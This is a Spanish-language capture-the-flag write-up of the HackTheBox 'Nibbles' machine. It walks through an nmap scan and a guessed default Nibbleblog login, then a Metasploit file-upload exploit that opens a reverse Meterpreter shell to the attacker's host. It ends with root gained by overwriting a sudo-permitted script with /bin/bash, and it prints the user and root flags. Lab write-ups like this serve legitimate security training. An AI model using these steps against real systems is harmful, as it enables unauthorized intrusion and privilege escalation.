[HTB] Nibbles

Hoy vamos a hackear la maquina de HTB llamada Nibbles. Esta catalogada como facil.

Video


Enumeration


Para empezar hacemos un nmap para ver que puertos tiene abiertos.

sml@m0nikE:~$ nmap -A -p- 10.10.10.75
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-02 15:19 CET
Nmap scan report for 10.10.10.75
Host is up (0.039s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 
2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.09 seconds
Vemos en el codigo fuente de la pagina web que aparece el siguiente comentario:

/nibbleblog/ directory. Nothing interesting here!
Sabiendo que se tratra del CMS nibbleblog, buscamos algun exploit que pueda servirnos.

Exploitation


Encontramos un exploit que puede servirnos pero que requiere user/password. Si buscamos informacion, veremos que el usuario por defecto es admin, el cual es el que vamos a utilizar, sin embargo la password hemos tenido que "adivinarla", resultando ser nibbles. Sabiendo los credenciales, ya podemos utilizar el exploit.

msf5 > search nibble

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       
Check  Description
   -  ----                                       ---------------  ----       
-----  -----------
   0  exploit/multi/http/nibbleblog_file_upload  2015-09-01       excellent  
Yes    Nibbleblog File Upload Vulnerability

msf5 > use exploit/multi/http/nibbleblog_file_upload
msf5 exploit(multi/http/nibbleblog_file_upload) > show options

Module options (exploit/multi/http/nibbleblog_file_upload):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The password to authenticate with
   Proxies                     no        A proxy chain of format 
type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR 
identifier, or hosts file with syntax 'file:'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing 
connections
   TARGETURI  /                yes       The base path to the web application
   USERNAME                    yes       The username to authenticate with
   VHOST                       no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   Nibbleblog 4.0.3


msf5 exploit(multi/http/nibbleblog_file_upload) > set targeturi /nibbleblog
targeturi => /nibbleblog
msf5 exploit(multi/http/nibbleblog_file_upload) > set rhosts 10.10.10.75
rhosts => 10.10.10.75
msf5 exploit(multi/http/nibbleblog_file_upload) > exploit

[-] Exploit failed: The following options failed to validate: USERNAME, 
PASSWORD.
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/nibbleblog_file_upload) > set username admin
username => admin
msf5 exploit(multi/http/nibbleblog_file_upload) > set password nibbles
password => nibbles
msf5 exploit(multi/http/nibbleblog_file_upload) > exploit

[*] Started reverse TCP handler on 10.10.14.6:4444 
[*] Sending stage (38288 bytes) to 10.10.10.75
[*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.10.10.75:47108) at 
2019-11-02 15:30:42 +0100
[+] Deleted image.php
meterpreter > shell
Process 1446 created.
Channel 1 created.
id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)

user.txt



cd /home
ls
nibbler
cd nibbler
ls -la
total 20
drwxr-xr-x 3 nibbler nibbler 4096 Dec 29  2017 .
drwxr-xr-x 3 root    root    4096 Dec 10  2017 ..
-rw------- 1 nibbler nibbler    0 Dec 29  2017 .bash_history
drwxrwxr-x 2 nibbler nibbler 4096 Dec 10  2017 .nano
-r-------- 1 nibbler nibbler 1855 Dec 10  2017 personal.zip
-r-------- 1 nibbler nibbler   33 Dec 10  2017 user.txt
cat user.txt
b02ff32bb332deba49eeaed21152c8d8

Privilege Escalation


En la carpeta de nibbler vemos que hay un fichero .zip llamado personal. Lo descomprimimos.

$ unzip personal.zip
Archive:  personal.zip
   creating: personal/
   creating: personal/stuff/
  inflating: personal/stuff/monitor.sh 
Si miramos el codigo vemos que monitor.sh no puede ayudarnos a elevar los privilegios asi que seguimos buscando alguna pista. Usamos el comando sudo -l para ver si con nuestro usuario podemos ejecutar algun comando usando sudo...

$ sudo -l
sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/
snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Vemos que nuestro usuario puede ejecutar como sudo el script monitor.sh que acabamos de descomprimir. Asi que este caso es tan facil como agregar al script una linea para que ejecute bash y con ello deberia bastar para conseguir una shell con privilegios.

$ ls -l
total 4
-rwxrwxrwx 1 nibbler nibbler 10 Nov  2 10:57 monitor.sh
$ echo "/bin/bash" > monitor.sh
$ sudo /home/nibbler/personal/stuff/monitor.sh
root@Nibbles:~/personal/stuff# id
uid=0(root) gid=0(root) groups=0(root)
root@Nibbles:~/personal/stuff#

root.txt



root@Nibbles:~/personal/stuff# cd /root
root@Nibbles:/root# cat root.txt 
b6d745c0dfb6457c55591efc898ef88c

End


Y con esto ya tendriamos el flag del "user" y el flag de "root".